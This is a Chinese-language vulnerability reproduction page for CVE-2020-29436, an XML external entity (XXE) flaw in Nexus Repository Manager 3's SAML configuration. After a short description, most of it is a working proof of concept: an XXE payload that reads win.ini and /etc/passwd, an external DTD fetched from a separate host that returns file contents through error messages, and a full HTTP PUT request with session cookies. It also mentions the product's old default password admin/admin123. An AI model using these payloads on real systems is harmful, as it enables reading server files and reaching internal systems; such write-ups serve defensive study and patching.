跳转至

Nexus Repository Manager 3 XML外部实体注入(CVE-2020-29436)

在 Nexus Repository Manager 3中存在XML外部实体注入( XXE )漏洞。该漏洞使具有NXRM中管理帐户的攻击者能够以一种方式配置系统,使他们可以查看文件系统上的文件,并与NXRM可以访问的任何后端或外部系统进行交互。攻击者必须在Repository Manager实例中具有管理级别的用户帐户才能以这种方式配置系统。

Nexus Repository Manager3在较高的版本中也会强制更改以前较低版本使用的默认密码admin/admin123。

漏洞复现

来到后台Saml的功能点:

看到这个大大的XML输入框就知道大概率是有XML操作的。

简单测试下能不能进行dtd请求,如果能的话很可能读取文件也可以:

点击保存就能看到进行了请求。测试了下读文件,可以利用ftp、http等协议带出单行文件,看了下jdk版本在windows是使用的自带的8u252,@r00t4dm在mac上的安装包不会自带jdk,使用的是系统的,那么linux下也是系统的,所以试用的是较低版本的jdk,是可以带换行的。后面看了下返回包,居然把异常返回到了json,那么我们可以通过报错xml将任何文本字符带出了,包括\n、#、<等文本字符。

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
        <!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
        <!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/my.dtd">
        %dtd;
        %send;
        ]>
<ANY>xxe</ANY>

dtd:
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM '%file;'>"
>
%all;

漏洞分析:https://paper.seebug.org/1431/ 来源:https://paper.seebug.org/1431/

ref: https://s.tencent.com/research/bsafe/1201.html

PUT /service/rest/internal/ui/saml?_dc=1608107853558 HTTP/1.1
Host: r00t4dm.com:8081
Content-Length: 536
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.03162010377420388
Content-Type: application/json;charset=UTF-8
Origin: http://r00t4dm.com:8081
Referer: http://r00t4dm.com:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: _ga=GA1.2.2078132679.1597230524; _rdt_uuid=1597230524157.df69997b-229f-41bf-9635-03b3f3f20329; context-profile-id=91ee4f3c-de97-4fa0-a514-22cd16f961ec; NX-ANTI-CSRF-TOKEN=0.03162010377420388; NXSESSIONID=971afe8d-2236-4629-a25d-44da86726602
Connection: close

{"idpMetadata":"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\n<!DOCTYPE ANY [\n        <!ENTITY % file SYSTEM \"file:///etc/passwd\">\n        <!ENTITY % dtd SYSTEM \"http://10.211.55.2:8000/filen.dtd\">\n        %dtd;\n        %send;\n        ]>\n<ANY>xxe</ANY>","entityIdUri":"http://r00t4dm.com:8081/service/rest/v1/security/saml/metadata}

https://forum.ywhack.com/thread-114837-1-2.html